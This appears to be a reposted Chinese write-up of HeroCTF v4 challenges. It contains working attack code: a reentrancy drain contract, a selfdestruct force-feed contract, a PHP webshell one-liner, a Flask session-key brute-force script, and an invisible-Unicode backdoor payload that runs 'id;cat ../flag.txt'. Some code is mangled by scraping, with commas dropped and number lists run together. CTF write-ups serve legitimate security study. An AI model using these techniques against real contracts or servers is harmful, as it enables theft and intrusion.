HeroCTF v4 - Writeup
2022-5-30 13:51:43 Author: mp.weixin.qq.com(查看原文) 阅读量:3 收藏

Web3

The nuke auction

部署合约后查看源码

pragma solidity ^0.8.13;

/*
    Ok so i met this guy, he's got a nuke and he wants to sell it to the highest bidder.
    So I made it possible to buy it there !
*/

contract NukeAuction 
{
    uint public maxAmount = 10 ether;
    address public winner;

    function deposit() public payable 
    
{
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= maxAmount, "Auction is over");

        if (balance == maxAmount) 
        {
            winner = msg.sender;
        }
    }

    function claimAuction() public 
    
{
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }

    function isAuctionSane() external view returns (bool)
    
{
        return (address(this).balance < 10 ether);
    }

        // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) 
    
{
        return address(this).balance;
    }
}

根据题目提示,其中存在一个拍卖逻辑,每次只能存入 1 ETH 代币,当 达到 10 ETH 代币时,将可以购买商品,而题目要求阻止拍卖,我们可以通过  selfdestruct() 函数强制打入代币,使合约内得到的代币数量大于 10, 使合约瘫痪

pragma solidity ^0.8.13;

/*
    Ok so i met this guy, he's got a nuke and he wants to sell it to the highest bidder.
    So I made it possible to buy it there !
*/

contract NukeAuction 
{
    uint public maxAmount = 10 ether;
    address public winner;

    function deposit() public payable 
    
{
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= maxAmount, "Auction is over");

        if (balance == maxAmount) 
        {
            winner = msg.sender;
        }
    }

    function claimAuction() public 
    
{
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }

    function isAuctionSane() external view returns (bool)
    
{
        return (address(this).balance < 10 ether);
    }

        // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) 
    
{
        return address(this).balance;
    }
}

contract Attack is NukeAuction {
    NukeAuction  etherGame;

    constructor(NukeAuction  _etherGame) {
        etherGame = NukeAuction(_etherGame);
    }

    function attack() public payable {
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

正常存入 10 代币,最后利用 selfdestruct 函数强制打入 1 代币造成合约崩溃

Let's introduce ourselves

部署合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

// @dev : iHuggsy
contract Introduction
{
    
    
    /**
        Before going into the source code, make sure you visited http://blockchain.heroctf.fr:22000/help if you need it !

        THERE IS ONE (1) RULE :
            - The whole node system and mining system (and machines that are part of this system) 
              does not belong to ANY of the challenges, any attempt to use them in a 
              way that is not considered normal in a blockchain environment, pentest them 
              or even scan them WILL result in a ban of your entire team without any notice.

        By interacting with the `accept_rules` function that follows, you are signing a contract 
        that you agree with the rule.
        (Even if you don't interact with it, you agree to it lol)

        Have a good one !

        If you run into any problem, feel free to DM me on the Discord 
        @dev : iHuggsy
    **/

    bytes32 flags;
    mapping (address => bool) accepted_rules;

    constructor (bytes32 _flagz)
    {
        flags = _flagz;
    }

    function get_flag_part_one() external view returns (bytes32)
    
{
        require(accepted_rules[msg.sender] == true);
        return flags;
    }

    function accept_rules() external
    
{
        accepted_rules[msg.sender] = true;
    }
}

首先调用 accept_rules() 方法将 accepted_rules[msg.sender] 设置为 true, 再调用 get_flag_part_one() 方法获取 byte32格式的 Flag, 编写一个函数转换为 String 格式获取可提交的 Flag


pragma solidity ^0.4.4;

contract Attack {
    
    bytes32 public x = 0x4865726f7b57336c43306d655f325f48337230436834316e5f5740674d317d00;
    
    function bytes32ToString(bytes32 x) external view returns(string){
        bytes memory bytesString = new bytes(32);
        uint charCount = 0 ;
        for(uint j = 0 ; j<32;j++){
            byte char = byte(bytes32(uint(x) *2 **(8*j)));
            if(char !=0){
                bytesString[charCount] = char;
                charCount++;
            }
        }
        bytes memory bytesStringTrimmed = new bytes(charCount);
        for(j=0;j<charCount;j++){
            bytesStringTrimmed[j]=bytesString[j];
        }
        return string(bytesStringTrimmed);
    }
    
}

Ready to hack

部署合约,题目提示需要将目标合约的代币清空

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

/*
    This contract implements "WMEL" (Wrapped MEL). You get an ERC20 version of Melcoin where 1WMEL == 1MEL at all times.
    This is a beta version !
*/

// @dev : iHuggsy
contract WMEL
{
    mapping(address => uint) public balances;

    constructor () payable {}

    function deposit() external payable 
    
{
        balances[msg.sender] += msg.value;
    }

    function withdraw() public 
    
{
        uint bal = balances[msg.sender];
        require(bal > 0);
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) 
    
{
        return address(this).balance;
    }
}

关注到其中一行代码

(bool sent, ) = msg.sender.call{value: bal}("");

这里存在重入漏洞,当提取时会触发 fallback 函数,编写一个攻击合约,逻辑为当目标中存在 >= 1 HERO 时,一直调用 withdraw 函数进行提取

contract Attack {
    WMEL public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = WMEL(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw(); // go to fallback
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

当调用 attack 函数时,就会通过 fallback 函数清空所有合约代币

System

undercover#1

创建环境登陆  user1, 存在 suid 为 user2 的文件 hmmm, 下载下来分析

可以通过创建 WTFFFFF 文件为 shell脚本,来通过 hmmm 中的 system函数执行获取 user2权限

在通过sudo -l 找到 root权限无需密码的可执行文件获取shell

undercover#2

创建环境后登陆 user1 用户

可以看到是 dev 用户启动的 Web服务,在Web目录中写一个 Webshell

user1@38b224da61ad:/var/www/html$ rm -rf index.php
user1@38b224da61ad:/var/www/html$ echo '<?php system("whoami");?>' > index.php;chmod 777 index.php
user1@38b224da61ad:/var/www/html$ curl http://127.0.0.1/index.php 
dev
user1@38b224da61ad:/var/www/html$ 

已经获取到 dev 的权限, sudo -l 权限是 ALL

Prog

Heist

查看 chall.py 源码

#! /usr/bin/python3

import os

class account:
    def __init__(self, amount, user):
        self.balance = amount
        self.user = user

    def wireMoney(self, amount, receiver):
        if amount > self.balance:
            print("[!] DEBUG MESSAGE : You don't have enough money on your account to make this transfer")
            return False
        else:
            self.balance -= amount
            receiver.balance += amount
            return True

    def printBalance(self):
        print(f"{self.user} has {self.balance} on his account")

FLAG = open("./flag.txt""r").read()

def clear():
    os.system('cls' if os.name == 'nt' else 'clear')```

# Creating the two accounts
ctf_player = account(10"ctf_player")
BANK = account(100"Bank")

# Main loop
menu = "dashboard"
clear()
while menu != "quit":
    if menu == "dashboard":
        print("=== Dashboard ===")
        print()
        print("Welcome to your HeroBank dashboard ! ")
        print("From here, you can choose to wire money to another account, or to buy some premium features on the HeroStore.")
        print()
        print(f"You currently have {ctf_player.balance}$ on your account")
        print("Choose an option :")
        print("1 - HeroStore")
        print("2 - Transfer money")
        print("3 - Quit")

        option = 0
        try:
            option = int(input(">> "))
            if option == 1:
                menu = "store"
            elif option == 2:
                menu = "transfer"
            elif option == 3:
                menu = "quit"
            else:
                1/0
        except:
            print("An error has occured, enter only 1,2 or 3")
            input("Press enter to continue...")
        clear()

    elif menu == "store":
        print("=== HeroStore ===")
        print()
        print("Welcome to the HeroStore !")
        print("Here you can buy all sorts of things. Sadly, our stocks suffered from our success, and only one item remains. It's therefore pretty expensive.")
        print()
        print("Choose an option :")
        print("1 - Fl4g (100$)")
        print("2 - Back to Dashboard")

        option = 0
        try:
            option = int(input(">> "))
            if option == 1:
                if ctf_player.balance >= 100:
                    print(f"Congratz ! Here is your item : {FLAG}")
                    input("Press enter to continue...")
                    menu = "quit"
                else:
                    print()
                    print("Sorry, but you need more money to make that purchase...")
                    input("Press enter to continue...")
                    menu = "store"
            elif option == 2:
                menu = "dashboard"
            else:
                1/0
        except:
            print("An error has occured, enter only 1 or 2")
            input("Press enter to continue...")
        clear()

    elif menu == "transfer":
        print("=== Transfer Protocol ===")
        print()
        print("How much do you want to transfer the bank ?")
        try:
            amount = int(input(">> "))
            if ctf_player.wireMoney(amount, BANK):
                print("Transfer completed !")
            menu = "dashboard"
            input("Press enter to continue...")
        except:
            print("You have to enter an integer")
            input("Press enter to continue...")
        clear()

连接后发现购买 Flag需要 100, 关注函数 wireMoney 这里我们传入负数就可以额外获取 Money

def wireMoney(self, amount, receiver):
if amount > self.balance:
print("[!] DEBUG MESSAGE : You don't have enough money on your account to make this transfer")
return False
else:
self.balance -= amount
receiver.balance += amount
return True

SSHs

创建环境后登陆第一个用户

下载下来看一下这个 ELF文件读取的是谁的 sshkey

看到是 user2 的 id_rsa SSH密钥文件,使用这个文件可以登陆 user2 用户, 而user2 用户下 getSSHKey 读取的是 user3 的 id_rsa看一下一共多少个用户

一共有250个用户, 编写脚本SSH密钥登陆后执行 getSSHKey 获取下一个用户的SSH密钥,登陆后重复上一个动作

# -*- coding: utf-8 -*-
import paramiko

# 请求服务器获取信息

def user1_login():
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect('chall.heroctf.fr'10073'user1''password123')
    stdin, stdout, stderr = ssh.exec_command('./getSSHKey')
    getkey = stdout.read().decode('utf-8')
    with open("id_rsa_user1""w", encoding="utf-8"as file:
        file.write(getkey)
    ssh.close()

def userkeylogin():
    ssh = paramiko.SSHClient()
    for i in range(1,251):
        user_num = "id_rsa_user" + str(i)
        user_ssh = "user" + str(i+1)
        user_id_rsa = "id_rsa_user" + str(i+1)
        private_key = paramiko.RSAKey.from_private_key_file(user_num)
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect('chall.heroctf.fr'10073, user_ssh, pkey=private_key)
        stdin, stdout, stderr = ssh.exec_command('./getSSHKey')
        getkey = stdout.read().decode('utf-8')
        with open(user_id_rsa, "w", encoding="utf-8"as file:
            print("Login " + user_ssh)
            file.write(getkey)
        ssh.close()

if __name__ == '__main__':
    user1_login()
    userkeylogin()

最后拿着最后一个密钥,登陆 user250 获取 Flag

Web

SmallMistakeBigMistake

下载源码文件

#!/usr/bin/env python
from flask import Flask, session, render_template

from string import hexdigits
from random import choice
from os import getenv

app = Flask(__name__)
app.secret_key = choice(hexdigits) * 32

@app.route("/", methods=["GET"])
def index():
    flag = "You are not admin !"
    if session and session["username"] == "admin":
        flag = getenv("FLAG")

    return render_template("index.html", flag=flag)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=int(getenv("PORT")))

访问题目主页

根据源代码看到 app.secret_key 随机性不高,有被爆破的可能性,可以使用工具 flask-session-cookie-manager  根据 {'username':'admin'} 生成 session

编写一个爆破脚本获取正确的 session

import requests
import os

keyword = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
for i in keyword:
    cmd = "python3 flask_session_cookie_manager3.py encode -s '%s' -t \"{'username':'admin'}\"" % (str(i) * 32)
    cookie = os.popen(cmd).read().replace('\n','')
    
    url = "https://smallbigmistake.web.heroctf.fr"
    headers = {
        "Cookie":"cf_clearance=RdAID0fnei6cUFk3YOkDuN91.oSzdCrqd5bPpVRxWQY-1653698340-0-150; __cf_bm=zp1l_dp7UbyemULS4vJ7c7Wi5aEf8KHQRXgi7Ox2tdg-1653745587-0-AZWHPu1+yDLp98WQWTlpgy/XvT2cRl8c62j2yy7ZNcp0zH7wRJ9vQy0OungQy5+I0OIYhd8CdOXLEeiM9U1ggAR+/uM/ThSfFawlDZwxfw+v0/Ph7vBlTE+QAcpriuQlzA==;session=" + cookie
    }
    resp = requests.get(url, headers=headers, timeout=5)
    print(len(resp.text),cookie)

$ where backdoor

在目标站点下载源码

根据提示 server.js 含有后门,Vscode调整 UTF-8 为 CP437 可以看到后门字符

# %E3%85%A4 -> \u3164 是不可见的 Unicode 代码
# https://certitude.consulting/blog/en/invisible-backdoor/
/server_health?timeout=1000000&%E3%85%A4=id;cat%20../flag.txt

Crypto

Poly321

下载加密代码

#!/usr/bin/env python3

FLAG = "****************************"

enc = []
for c in FLAG:
    v = ord(c)
    enc.append(
        v + pow(v, 2) + pow(v, 3)
    )

print(enc)

"""
$ python3 encrypt.py
[378504, 1040603, 1494654, 1380063, 1876119, 1574468, 1135784, 1168755, 1534215, 866495, 1168755, 1534215, 866495, 1657074, 1040603, 1494654, 1786323, 866495, 1699439, 1040603, 922179, 1236599, 866495, 1040603, 1343210, 980199, 1494654, 1786323, 1417584, 1574468, 1168755, 1380063, 1343210, 866495, 188499, 127550, 178808, 135303, 151739, 127550, 112944, 178808, 1968875]
"""

根据源码中的逻辑编写爆破脚本

flag_encode = [378504104060314946541380063187611915744681135784116875515342158664951168755153421586649516570741040603149465417863238664951699439104060392217912365998664951040603134321098019914946541786323141758415744681168755138006313432108664951884991275501788081353031517391275501129441788081968875]
ascii_str = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM{}_"
FLAG = ""

for i in flag_encode:
    for c in ascii_str:
        v = ord(c)
        pow_encode = v + pow(v, 2) + pow(v, 3)
        if i == pow_encode:
            FLAG = FLAG + c
            break

print(FLAG)


WgpsecBot

线: http://wiki.peiqi.tech
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 



文章来源: https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247492995&idx=1&sn=6734e2ee0a7ce01dd2bb7ee1be843399&chksm=cecc4ddaf9bbc4cc6adf941b3338c178cec47705801560e37cbb1d6abbf3db6646c2362b6fb2&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh